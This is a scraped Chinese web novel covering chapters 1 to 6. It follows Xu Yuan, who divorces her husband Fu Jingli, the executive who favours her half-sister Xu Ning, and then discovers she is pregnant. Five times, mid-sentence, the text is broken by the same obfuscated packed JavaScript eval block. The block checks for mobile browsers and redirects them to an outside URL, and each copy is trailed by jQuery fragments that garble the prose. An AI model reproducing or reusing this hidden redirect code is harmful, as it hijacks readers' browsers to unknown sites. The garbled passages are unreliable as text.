《被判无妻徒刑,傅总拿着孕检单哭疯》 第1章 孽缘 “傅京礼回来了。” 许愿正打着吊瓶,刚打开手机,就收到了闺蜜的消息。 她顿了下。 冷战一个月,她和傅京礼几乎一句话没说。 更不知道傅京礼回来了。 很快,消息面板又弹出来条消息:“他这次回来,还带了个小姑娘。” 底下,是张照片。 照片里的小姑娘和她有三分相似。 许宁。 她那位同父异母,被送到乡下养大的小妹妹。 闺蜜喋喋不休地说了句:“许家要给两人接风,阿愿,你要不要来砸场子。” 许愿的脾气,傅京礼敢做初一,她就敢做十五。 把许家点了,都是有可能的。 许愿看了眼吊瓶。 她连着三天的高烧没好,手背上的针痕红肿一圈。 哪来的心情。 “不去。” 回完闺蜜的消息,她闭上眼睡了一小会。 快到晚上十点时,许愿打车回了御景园,她连着病了好几天,昏昏沉沉又睡了过去。 只是,她睡得不安,中途,傅京礼回来时,她很快就醒了。 “吵醒你了?” 傅京礼卷着袖口,西装革履,冷白的肌肤逆着暧昧朦胧的光,更添几分凉意,他垂眸淡漠地看她,眼底的情绪平淡。 嗓音却是一贯低沉迷人。 “没。” 许愿刚醒,鼻音有点重,语气挺懒地解释:“吃了点药,睡得不太好。” “病了?” 他蹙着眉,淡淡地看着她。 许愿笑了下。 她病了挺久了,之前示弱时也发信息说过,他倒是一副才反应过来的样子。 许愿倒了两杯水,递了一杯给他,随口问:“南城的事忙得怎么样,小浔说好像挺麻烦的,你……” 她嗓子有些不舒服,也没什么交谈欲。 但两人两个月快没见,总得有人低个头。 只是她刚起了个话头,就被傅京礼打断:“离婚吧。” 许愿愣了下,端着水杯的手几乎不稳。 喉咙像是更痛了。 傅京礼没解释,只淡淡道:“你想要什么可以提,我不会亏待你。” 许愿心颤了一瞬,很快她恢复了平静:“如果你是因为两个月前,你去接许宁的事,我们可以好好谈谈。” “不是。” 傅京礼目光落在她身上,情绪很淡:“许愿,这桩婚姻本就不是两厢情愿,没必要继续下去。” 当年,傅家和许家的婚约,的确不是傅京礼心里希冀的。 他从头到尾,都不曾想娶她这个许大小姐。 只是后来,那一晚上的意外让他最终选择负责。 许愿垂下眸,缓缓应下:“好,我只要南苑的房子,还有,离了婚,我不会辞职。” 南苑的房子是妈妈留给她,后来辗转到了傅家手里,成了她的嫁妆的。 至于事业。 她在傅氏经营四年。 不可能因为离婚,就抹杀她的所有努力。 傅京礼没反对,只看着她:“可以。还有别的要求吗?” “没了。” 许愿摇摇头:“如果你介意,明天我就可以搬走。” 傅京礼似乎对她的识趣有些意外,语气平淡地提醒她:“许愿,你确定想清楚了。离了婚以后,我不希望我们再扯上什么干系。” “放心。”她笑着说。 傅京礼似乎还要再说些什么,电话的铃声响了起来,他摁下接听键。 没多久,他挂了电话,转头对她道:“我还有事,离婚的事,律师会跟你提。” 傅京礼离开后,没多久。 许愿就刷到了他和许宁今晚出双入对的热搜。 说起来,也是孽缘。 当初,她妈是个眼里容不下沙子的人,知道了许宁的存在,硬是逼着她父亲把许宁送到了乡下。 母亲死了没到两年,她父亲另娶,她这个许大小姐成了笑话,许宁也被从乡下接了回来。 世事弄人,谁都未曾想到,许宁竟然是傅京礼年少时藏在心尖上的人。 …… 这一觉,许愿睡到了第二天中午。 她的感冒好了不少,律师把离婚协议书递给她,又重申了财产分配。 傅京礼却是没亏待她。 除了房子,还有零零碎碎的不动产。 “许小姐,您如果没有异议的话,请在这签字。” 许愿点点头,没有犹豫,很快签下字。 领证的事,还需要等两天。 傅京礼这两天忙得很,许愿压根见不到人,只提醒律师:“如果傅总不忙的话,麻烦提醒他,尽快领证,拖下去对大家都不好。” 忙完离婚的事,许愿就搬出了两人的婚房。 她搬家那天,温栩栩也听说了她离婚的事,约着她去喝了下午茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617955|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那个许宁,你也知道吧?她啊,当年被你妈送走,在乡下也努力读书来着,后来考上了大学,那回傅京礼去a大演讲,撞见的她。” 温栩栩嗤笑了声,“听说,许宁挺崇拜傅京礼的,小姑娘又 勤奋又励志,你那个爹都不知道有多想撮合这两人。可我就纳闷了,那么励志勤奋一姑娘,怎么就不知道插足别人的感情不好?” 温栩栩挺护短的,也看不上这种知三当三的行为。 更别提,许宁还是她最痛恨的非婚生子。 许愿却没放心上。 “都过去了。离都离了,她也不算插足别人感情。”她笑了下,心情有些复杂:“再说,我和傅京礼也没什么感情。” 许愿垂下眸,忽的想到她见傅京礼的第一面。 她妈去世的第一年,她把许镇江的合同搅和黄了,欢天喜地地拉着温栩栩庆祝。 庆功宴后,她勾着个帅哥不撒手。 两人都喝了不少,迷迷糊糊就做了。 后来,她才知道那是傅京礼,她的未婚夫。 外头传闻,他其实一直不大想娶她。 但是醒来后,傅京礼漆黑的眸落在她身上,语气淡淡:“许愿,我愿意对你负责,你呢。” 他提了结婚。 许愿迎上他那双目光。 那是她大约为数不多,热血上头的时候。 她缓缓应下句:“好。” 说实在的,傅京礼没有什么不好。 他不爱她,却也不招蜂引蝶,情绪稳定,做事周到又温和。 就连床上,两人都算合拍。 直到两个月前,他在a大撞上许宁。 温栩栩看向许愿,心里挺不是滋味,许愿不说,她却清楚。 像许愿这样的脾气,不喜欢,是不会将就这么久的。 “愿愿,你要不回盛华吧。别在傅氏受气了,一想到这对奸夫淫妇,我就不舒服。” 许愿一向要强,当年许母离世,她拿着母亲留下的遗产,扭头创立盛华和许家作对。 只是许愿这两年,一直将盛华交给母亲的好友盛晋打理,对外也只称作是盛晋的公司。 “婚姻是婚姻,事业是事业。”许愿淡淡道:“我不可能因为一场失败的婚姻,就离开我的事业。” 许愿是这样想的。 傅京礼也承诺了她。 只是隔天,她回到公司,才知道自己从许秘书转为了项目部的许经理。 第2章 领离婚证 许愿请了一周的病假,病好后,她就回了公司。 这才知道调任的事。 同事意味深长地八卦:“许经理,你还不知道吧?我们公司来了个新秘书,也姓许。小姑娘可不一样呢。” 许愿怔了下。 傅京礼居然把许宁调到了他身边? 没一会,许愿就被傅京礼叫到了总裁办公室。 办公室内。 傅京礼的目光淡淡落在她身上:“你既然要留在公司,私人秘书这个职位不适合你,项目部的经理被调到了分公司,刚好有空缺。” 许愿心知肚明。 傅京礼一向很拎得清。 他是不会容许自己这个秘书给许宁心里留下什么不舒服的痕迹的。 与其说,他认可她的能力。 不如说,他不愿意引起许宁的误会。 “好。” 许愿应下。 傅京礼却皱着眉,叫住她:“许宁刚毕业,见识不大够,你要多带带她。” 许愿没拒绝。 别的不说,公司的业务交接也需要时间。 这是她的应尽义务。 下楼时,她在楼下撞见了许宁。 小姑娘初入职场,呆兮兮地被人忽悠买了十几杯咖啡,犒劳办公室里的老人。 她来去匆匆,额头上还有一层薄汗,整个人乖巧又笨拙。 见到她,许宁愣了下。 “姐……”她意识到什么,吐了吐舌头:“许经理。” 许愿目光掠过她,皱眉提醒:“你是来给傅总当秘书的,不是来跑腿打杂的。把咖啡放到一边,跟我进来。” 她脸色一白。 还是乖巧地放下手中的咖啡,跟了上去。 办公室里的众人顿时也老实了不少。 许愿没打算为难小女孩,就算再把许宁送去乡下,她妈妈也活不过来。 更何况,她妈妈死之前早就懒得和许家怄气了。 “这里是最近的文件存档,这是傅总的注意事项和近期行程安排。” 许愿随口叮嘱,她淡淡道:“上班期间,尽量不要佩戴累赘的首饰,除非应酬需要,秘书这一行,更重要的是临时的应变和反应。” 许宁眨眨眼,脸色有点红:“这个也不行吗?许经理,这是傅总送给我的,我挺喜欢的,也不能带吗?” 许愿目光掠过她脖子上的项链,怔了下。 这条项链,她喜欢了有一段时间。 傅京礼有一回,漫不经心地问过她:“小姑娘是不是都喜欢这样的首饰。” 原来,是给许宁准备的。 “随你。” 许愿垂下眸,遮掩自己眼底的情绪,语气却很淡漠:“不要耽误工作就好。” 许宁甜甜地笑了下,也没再多说什么。 许愿带着许宁熟悉了大概的工作流程,结束的时候,许宁喊住她。 “姐姐,你是不是不太喜欢我?是因为傅总吗?” 许愿扫向她。 许宁没避开,只是甜甜笑着道:“感情这种事,是很难说清楚对错的,当年我妈妈和爸爸之间也是,姐姐,无论如何,我还是想和你做朋友的……” “许宁。” 不等许宁说完,许愿抬眸,淡淡打断她:“任何感情都受道德的束缚,否则,当年你就不会被送到乡下。做好你自己的事,少把别人当傻子。” 她父亲出轨,才有了许宁。 哪怕妈妈已经去世,她也很难觍着脸替她妈原谅许宁的母亲,更别提许宁。 她有什么资格,说什么对错难辨? 许愿扭头就走了,回到办公室,她给傅京礼发了条消息:“傅总,今天有时间领离婚证吗?” 傅京礼没再放她鸽子。 下午两点,民政局门口。 许愿签完字,抬眸看向他:“都准备好了,签字吧。” 她从公司出来,甚至没来得及换件衣服,身上还是西装套裙,然而,黑发垂落,映出她清冷温婉的面容,很是动人。 好一会,傅京礼才收回目光,缓缓开口:“你好像很急?” “没有。” 许愿愣了下,解释:“离都离了,再拖下去也没什么意思。” 傅京礼没再说什么,很快签了字。 领证从民政局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617956|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来后,傅京礼点了根烟,目光落在她身上:“病好了?” “嗯。”许愿点点头。 她刚想离开,傅京礼眸色深深,拉开车窗,淡淡道:“我送你回去。” 许愿犹豫片刻,她刚要拒绝,胃里涌出几分反胃感。 她下意识干呕出声。 等她终于缓了过来,却见傅京礼凤眸半眯,皱着眉看她:“你是不是怀孕了?” 许愿心头咯噔一下。 两人上次发生关系还是一个月前,他做得挺激烈,中间也就没做措施。 可哪能那么巧,偏偏一次就有了。 “不会。”许愿下意识攥紧手心。 傅京礼还想多说什么,忽地,他的手机铃声接连响起,他接听完,眉头微沉。 “公司还有点事。” 傅京礼掐了烟,意味深长看她:“许愿,我 们不能有孩子,我希望这只是巧合。” 许愿心头一紧,没再多说什么。 嫁给傅京礼这三年,两人的避孕措施一直做得很好,唯独那一回,她没吃药,可怎么可能就那么巧,那么一次就有了? 许愿将念头甩在身后,打车回了公司。 刚到公司,办公室内气压很低,有同事凑了过来,胆战心惊地提醒她:“海源那批货,交接时出了问题,那个新来的许秘书,没点清货,就签了字呢。” 许愿皱了皱眉。 她特意叮嘱过许宁,交接时要查清所有货物,才能签字交接。 海源本就滑得很。 这种事更不是一回两回了。 没一会,助理就提醒她:“许经理,傅总让您上去。” 许愿推开门。 办公室内,许宁咬着唇,鼻尖通红,看上去又可怜又可爱。 说出来的话,却让许愿眉头沉了沉。 “抱歉,阿礼,我不知道货物交接需要核查全部,许经理只告诉我需要核查,却没提醒我海源会做这样的手脚,都是我的错……” 恰巧许愿推门而入,傅京礼脸色冷淡地看向她:“阿宁刚毕业什么都不懂,你应该清楚海源的手段,你为什么不提醒她?” 第3章 验孕棒 许愿心头微疼,却只淡淡道:“我提醒过许小姐货物交接的事,公司的办公室有监控,傅总如果不相信,我们可以调监控核查。” 许宁这才脸色一白。 她泪盈于睫,模样楚楚可怜:“许愿姐,大、大概是我一时走神,没有听到,才犯下这种错误。” 许愿没理她,只皱着眉:“几千万的货,不可能就这样任由海源黑白颠倒,货物的事我会处理,公司有公司的规矩,许宁的责任也有对应的制度。” 许愿转身离开了办公室,扭头回去查缺补漏。 货物交接一旦签了字,从法律上来说,他们只能认这个栽。 但,海源的当家人是盛家的三少,然而,盛家除了三少,还有个蠢蠢欲动,很受宠的二少,只要利益牵扯在,她便能撬动海源的心思。 晚上八点,许愿约了那位浪荡纨绔的盛家二少。 卡座内,男人玩味的目光落在她身上。 “许秘书,你是不是找错人了?我可不是海源的当家人,也对许秘书这款不大感兴趣。” 许愿这个女人,漂亮倒是够漂亮。 就是太死脑筋。 女人嘛,还是乖巧柔软点,比较可爱。 许愿没理会他放肆的言语,将文件递到他面前:“盛二少,这是盛三少这些年在业内的一些形迹,明人不说暗话,我不信您对海源不感兴趣,把他拉下来,傅氏的合作就是你的了。” 盛二眼底的散漫收敛了许多,他眯着眼,饶有兴致地打量着眼前的女人。 他妈不是盛仲华的原配,盛仲华更器重他的三儿子。 可是,盛家有谁不想在海源上沾惹一二呢。 隔了挺久,他慢悠悠问道:“我帮你把他拉下来,你有什么好处?” “我需要盛二少把这次海源递交给傅氏的劣质货品换掉,另外,盛二少手段磊落,能和盛二少合作,就是最大的好处。” 许愿是不介意商场上玩弄手段的,但,盛三的手段太低劣。 她平生最看不上。 盛二目光落在许愿身上。 隔了许久,他举了举杯,意味深长道:“希望如许小姐所愿。” 隔着几个卡座的位置,助理注意到许愿的方向,低声提醒应酬完的傅京礼:“傅总,许经理也在。” 傅京礼顺着助理的方向看过去,眉头微蹙。 盛二是有名的纨绔。 她和盛二在这做什么? 许愿没察觉到傅京礼的存在,没多久,她就和盛二散了场。 助理朝她走过来,温声道:“许经理,傅总在等您。” 盛二扫了眼助理,又似笑非笑地看向她:“许经理,如果哪天在傅氏待得不舒服,可以考虑考虑我们海源,我们海源一向慧眼识珠。” 一个女人,如果只漂亮,就会让人索然无味。 如果既漂亮又足够聪明,那无疑会是一种宝贵的资源。 许愿没应,只客气地和盛二道别。 她顺着助理的引领,上了傅京礼的车。 晚上十一点,夜风有些凉。 许愿上车时,唇有些发白,她低垂着眉眼,西装外只露出一小节白如美玉的手腕,透着几分怜弱。 傅京礼皱了下眉。 他没发现,她怎么这么瘦。 “海源的事,忙完了?” 傅京礼随口一问。 许愿点点头,眼底有浓重的疲意:“嗯,盛二比盛三难应付些,不过已经答应替换低劣的货品,届时让人去交接就好。” 傅京礼目光掠过她,语气平淡:“许宁年纪小,不懂事,这次的事不能完全怪她。” 许愿顿了下,轻声道:“你是傅氏的总裁,要怎么做,只看你自己的心意。” 年纪小。 当年她进傅氏时,比许宁还要小。 可,傅京礼却从来都是公私分明的。 “离婚的事,我还没跟爷爷提。” 傅京礼接过话。 傅爷爷这些年在家养病,受不了刺激,哪怕两人感情一直寡淡,傅爷爷怕是听不得离婚的消息。 许愿垂下眸:“我知道,等到合适的时机,我再跟爷爷说。” 傅京礼没再说什么。 许愿喝了点酒,晚上却没吃什么东西,没一会,她蜷缩在车上,睡了过去。 脸色却有些惨白。 傅京礼察觉到她脸色有异,拧着眉正准备把她送去医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617957|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许愿却已经醒了过来。 “到哪了?” 她声音有些哑。 傅京礼淡淡道:“送你去医院。” 许愿像是想到什么,心头飞快一跳,语气却若无其事:“不用了,不过是胃有点不舒服,我回家休息就好。” 傅京礼漆黑幽深的眸落在她身上,晦暗深沉,像是能窥探她深藏的那一点小心思。 “好。” 半晌,他只落下一个字。 许愿终于松了口气。 回到家,她给温栩栩打了个电话,语气有些沉:“帮我买个验孕棒。” 隔天。 是宋野的接风宴。 宋野是许愿和傅京礼共同的好友,回来前,特意 给许愿打了电话,让她来接风宴凑热闹。 大约知道了她和傅京礼之间那点事,宋野有心撮合,这才特意叫上她。 许愿赶到时,包厢内已经很热闹。 隔着门,宋野的声音映入耳中。 “你和许愿还真离了啊?因为那个许宁?” 许愿顿住,推门的手僵在了原地。 隔了会,傅京礼漫不经心开口:“和她没关系,我和许愿不合适。” “啧,哪里不合适?”宋野意味深长道,“我看许愿挺好的,漂亮还聪明,这么多年了,她在傅氏都有不少人认可,怎么你就那么死心眼呢?更别提,她当初还救过你。有些事啊,最怕的就是后知后觉。” 许宁他也见过了。 有点小心思的小女孩。 和许愿压根比不了。 许愿可是从劫匪手里都能把傅京礼救下来的女人,那股韧劲就不是小女孩能比的。 真离了,恐怕傅京礼有的是后悔的时候。 良久,傅京礼不置可否道:“感情的事,勉强不了。” 许愿垂下眸,垂落在身侧的手心一点点收紧。 宋野没再劝,只提醒他:“你可得想好了,你不喜欢,不少人都盯着呢。” 许愿没多停留,她在微信上和宋野说了声有事,约了温栩栩去放松。 温栩栩把验孕棒递给她,迟疑地问:“愿愿,你不会真有了吧?” 第4章 她的补偿 许愿捏紧了验孕棒,应了声:“还不确定。” 只是,她这个月的月事还没来,再加上前段时间的反应,她心里有些怀疑。 “要是真有了……你打算怎么办?”温栩栩犹豫地看向她,“傅京礼愿意认吗?” 许愿垂了垂眸。 傅京礼是不会想要她生的孩子的。 他们之间,离都离了。 留下孩子对谁都不好。 哪怕……这个孩子曾经是她奢望的。 “不了。”许愿怔了许久,才缓缓开口,“藕断丝连、强人所难都没什么意思,真有了的话,打了吧。” 她等了三年没等来的孩子。 此刻,早已经不是时候。 许愿心情不好,没当场测,拉着温栩栩喝了两口度数极低的酒。 隔天,她回到公司,才记起验孕棒的事。 回到卫生间,她捏着手中的两条杠,彻底愣住。 她怀孕了。 傅京礼的孩子…… 许愿脸色有些苍白。 恰好,这时有人进来。 她慌乱地把验孕棒丢进垃圾桶内,指尖却不自觉地收紧。 她真的要打了她和傅京礼的孩子吗? 一丝阵痛从她的心尖掠过。 这种心不在焉一直持续到会议结束,散了会,有人八卦地凑上来。 “许经理,你知道吗?咱们项目部有人怀了孕?” 傅氏内部,一向卷得厉害。 怀孕这种事,最容易影响一个人的晋升和事业。 同事难免幸灾乐祸:“也不知道是谁,瞒得那么严。” 许愿心跳都快了半拍。 她抬起眸,恰好对上傅京礼幽沉平静的双眸。 男人低沉的嗓音很快响起:“许经理,来一趟办公室。” 许愿攥紧了手。 等她到了办公室,傅京礼淡淡道:“过两天,你去跟闻助理做个孕检。” 许愿心头一跳,话呼之欲出:“……不是我。” 她的语气艰涩,傅京礼却打断她,不紧不慢道:“以防万一,你也不想闹出什么岔子。” 许愿阻止不了。 她压下心头的慌乱,缓缓应了声:“好。” 出门的时候,许宁迎了上来。 她咬着唇,不安地和许愿解释:“许愿姐,那次真的是个误会,你不会怪我吧?我也不知道真有盛家那样的小人,居然真的会拿劣质货品凑数!” “与我无关。” 许愿淡淡道:“公司有公司的奖惩机制,你犯的错,你自己承担就是了。” 她和许宁其实没什么话说。 别的不提,她一向公私分明,工作上的事没必要和私人恩怨扯到一起。 许宁却松了口气。 “姐姐,下周就是爸爸的生日。爸爸也许久没见你了,你要不要回许家,我们一家人好好庆祝下。” 许镇江的生日,恰好是她妈的头七。 许愿打断她,目光落在她身上:“许宁,我没什么心情和你使什么小手段、小心机。如果你不是蠢得无药可救,我可以提醒你一下,那天对我和我妈来说,并不是什么好日子。” 许宁愣了下,涨红着脸道:“我知道那天是阿姨的头七,可是人死不能复生,爸爸的生日总是要过的,就像当初我没有责怪阿姨把我送去乡下一样。姐姐又何必耿耿于怀,一直记恨爸爸呢?” “我妈把你送去乡下的原因,你心知肚明。”许愿冷冷道,“如果我要原谅一个害死她的人,甚至陪着那个人庆生,那并不能证明我心胸宽广,只能证明我毫无心肝。” 许宁脸色瞬间惨白。 她眼眶一红,眼泪怯然欲下:“姐姐,我没有别的意思,只是……” “我不管你到底是怎么想的。”许愿打断她,“在公司,我们只是同事,许秘书,心思还是多放在工作上些。” 许愿扭头离开,她没心思和小姑娘玩什么手段。 下午,她请了假偷偷去了医院,全然没理会许宁的想法。 却没承想,许宁胆子挺小。 六神无主离开时,她脚崴了,被傅京礼送去了医院。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617958|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “恭喜,怀孕六周。” 许愿捏着产检报告从医院出来时,恰巧撞上傅京礼扶着许宁离开。 她的脑中回荡着医生的话,“许小姐,您的身体并不适合流产,一旦流产,恐怕之后就再难有孕,你最好考虑清楚。” 许愿只觉得涩然。 她有了傅京礼的孩子。 她对这个孩子本就是带着欣喜与期待的。 可是,傅京礼会让她留下这个孩子吗? 她的神色落入不远处傅京礼的眼底,许宁磕磕巴巴地喊她:“姐……许经理。” 傅京礼目光掠过她,问:“你怎么在这?” 许愿下意识将产检报告放在身后,轻声道:“前段时间感冒没好,来复查。” 傅京礼眯着眼,目光落在她身上。 许宁也意识到什么,扯了扯傅京礼的衣角,眼底多了几分失落:“傅总,你和许经理应该还有话说,我先回去好了。” 傅京礼皱了皱眉,没硬留她 :“我让人送你。” 许宁乖顺地点点头。 许愿松了口气,将产检报告团成一团塞进包里。 回到车上,傅京礼淡淡扫她一眼。 “这么紧张?”他看向她,慢条斯理道,“你这样,我会以为你真的怀了孕。” 许愿下意识想否认,却笑了下,试探着问:“如果真有了,傅总打算怎么办?” “那就打了。” 他盯着她的眼睛,语气毫不犹豫。 她就知道。 许愿心头掠过一丝细细密密的痛意,她语气涩然,摇摇头:“只是一场小感冒。” 傅京礼半眯着眸,审视了她良久,才淡淡道:“听说,你今天和阿宁有些不愉快,阿宁下楼时这才把脚扭伤,她年纪小,不懂事,但心地善良,也不轻易和别人有争吵,有什么你多让让她。” 许愿心里的酸涩像是要冒出来。 偏爱。 世界上,任何人都避免不了。 “傅总,她不是小孩子,我也没什么能让她的。” 第5章 换棵树吊死 许愿看向他,语气平静:“我不曾亏欠许宁,也不曾亏欠傅总。” “工作上,我只是她的前辈,私人生活上,我妈妈不曾欠她什么,当年她母亲另嫁,许宁找上门,没有人会接纳丈夫的私生女,我妈让人把她送到乡下不假,却支付了她足够的生活费。于公于私,我都不曾对她有亏欠,我又有什么理由为她事事着想,处处避让?” 车内的氛围很安静。 傅京礼的目光落在她身上。 她穿了件很简单的长裙,腰肢纤细,精致的眉眼一贯的清冷,眸色清澈平淡。 许愿身上有一股坚韧冷冽的气质,聪慧夺目得以至于让人近乎忽略了她璀璨夺目、光芒万丈的漂亮。 傅京礼的目光掠过她的眉眼,沉默了好一会,他才温声开口:“抱歉,这件事是我的不对。” 许愿没接话。 傅京礼定定地看着她,语气缓和地低声道:“我不该因为许宁让你隐忍避让。许愿,你是很好的女孩,就算离婚,也该有你的生活。” 许愿攥紧了手,眼泪却几乎要溢出来。 她不得不承认,她是很喜欢很喜欢他的。 但,有些事真的无法勉强。 …… 许愿回了家。 她让人打听了傅京礼准备给她进行检查的医生,温栩栩却依旧忧心忡忡:“不能告诉傅京礼吗?他未必会那么狠心,毕竟,你们三年的感情呢。” “不了。”许愿下意识抚了抚自己的小腹,沉默许久才道,“栩栩,这个孩子既然打不了,就没必要让他知道。我们已经离了婚,这只是我的生活,医生那里,你帮我安排下。” 无论如何,她不能让傅京礼知道孩子的事。 温栩栩没拒绝。 她又像是想到什么,提醒许愿:“愿愿,许宁之前去盛华当过实习生,不知道是巧合还是真的知道了什么?” 许愿愣了下。 许宁去过盛华? 她是知道盛华是她的产业,还是…… 一丝疑窦掠过,许愿却没多想:“大概只是个巧合,她毕业于a大,盛华在a大也有校招。” 温栩栩也只是顺口提了句,她笑了笑,又说:“盛伯父和斯年哥也快回来了吧?有他们在,你也能安心不少。” 盛华这些年一直是盛家帮忙打理。 自从母亲去世后,盛家几乎成了堪比她亲人的存在。 许愿笑了下,眼底难得掠过几分坦然。 隔天。 盛三倒台的消息爆出来,盛二看着斯文纨绔,手段倒是老辣厉害。 他找了人,借着媒体的手段将盛三做的那点破事抖落了个七七八八,恰巧盛三前段时间,酒醉撞死了人,还买了帮凶顶罪。 事情堆积到一起,盛三很快就被人带走。 盛二让人送了质量过关的货品更换,许愿去交接时,盛二饶有兴致地看着她点货。 “许小姐连我也不放心?” 盛二挑挑眉,看着女人额角的薄汗,眼底多了些玩味。 许愿笑了下,眨眨眼:“没。只是小心驶得万年船。” 她巧笑嫣然,又难得狡黠,眉眼里的明艳几乎溢出来。 盛二薄唇勾了勾。 坊间那些传闻当不得真,许愿可比那些娇滴滴的小姑娘有意思多了。 这一幕,恰巧落在不远处的傅京礼和许宁眼中。 许宁走过来,笑着接过话:“盛总和许经理还真是聊得来呢,看来这次也算因祸得福。” 她语气轻快,有些小女孩的天真娇俏。 却无端让人忍不住引出几分遐想,似乎许愿和盛二交情匪浅。 傅京礼的目光落在许愿的眉眼,神色沉了几分,随后淡淡道:“这次合作,麻烦盛总了。” “不麻烦。”盛二笑得意味深长,“有许经理这样的佳人相陪,哪里算得上麻烦?” “许经理一向公私分明,盛总怕不是误会了什么。” 傅京礼的目光掠过许愿,淡淡开口。 盛二的笑意却更深了些,他慢悠悠道:“公私分明又不是铁石心肠,追姑娘嘛,当然脸皮要厚一些,傅总不会连员工的私生活都要管吧?” 傅京礼顿了下,淡淡道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617959|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛总随意。” 话音一落,他带着许宁离开了。 许愿的目光落在两人身上,神色平淡。 盛二却一眼看穿她眼底的失意,慢条斯理道:“你们家这个傅总,也没有哪里好,许经理考虑下,换棵树吊死怎么样?” 话中藏了三分暧昧。 许愿却回过神,轻笑道:“我记得盛总说过,我不是盛总喜欢的那类型,盛总反悔了?” 盛二目光停在她身上。 坦白说,许愿这种类型的女人太倔、太死板。 的确不是他喜欢的那种类型。 可,她也的确够漂亮,够聪明,以至于掩盖了她身上的那几分呆板。 “不后悔。”盛二俯身凑近,“不过,许小姐是例外,我的话你好好考虑考虑?” 许愿没把这话往心里去。 好在,货物的事成功解决,避免了公司的亏损。 傅京礼罚了许宁 三个月奖金和工资,又补了许愿双薪。 许愿回公司时,同事们都喜气洋洋的。 “我就看不上走后门进来的,换成别人,恐怕早就被辞了。” “可不是,还是a大的高材生,刚当上秘书就捅了这么大的篓子。要说脸,也比不过许经理,真不知道傅总看上她什么了?” 傅氏是业内的大公司,新人没实力本就艰难。 许愿不好多说什么,但,公司里这样欺负一个小姑娘也确实不成规矩。 “停。”她有些头疼地,打断众人的闲言碎语,“不过是个小姑娘,你们啊,做好自己的事,过两天请你们吃大餐。” 众人这才偃旗息鼓。 恰巧,她忙完手里的活,要把后续的合同交给傅京礼,她正准备敲开办公室的门。 屋内,女孩咬着唇,眼眶泛红:“阿礼,我是不是太没用了,别人都说我比不上许愿姐。” 男人皱了下眉,眼底飞快划过一丝不悦。 他替她抹去眼角的泪,语气淡淡:“和她比什么,你和她,不一样。” 许愿顿在门口,半晌,她才推门而入。 第6章 菟丝花 “傅总,这是盛总传来的最新资料。” 许愿推门而入,她面色和缓平静,目光轻微掠过许宁,将打印出的文件放到傅京礼的桌上。 那是一份新的合同。 是盛二盛景炎提出的最新合作。 盛景炎此人心思深沉,此刻却轻飘飘的提出后续合作,倒像是看中了什么东西似的,一副势在必得的模样。 傅京礼微微敛眉,目光缓缓放到许愿身上。 工作中,她总是穿着西装裙,腰肢细嫩,却又带着说不出的坚韧。 五官精致,明艳中透着不易接近的清冷,像雪山之巅难以触及的雪莲花。 清冷、漂亮。 盛二少这次之所以会提出合作,怕是心思都在她身上。 “盛景炎在追求你。” 傅京礼语气平淡,完全是上司与下属的沟通语气。 追求? 盛景炎那算什么追求? 许愿并不太在意这件事。 “傅总,这是我的私事。” 的确是私事。 领了离婚证,他们已经不再是夫妻。 都成了前夫,哪里来的权利过问前妻是否有了新的追求者? 许宁甜甜地笑着:“阿礼,姐姐这么优秀,有追求者不是很正常的吗?姐姐现在也需要找个人照顾她呢。” 找个人照顾? 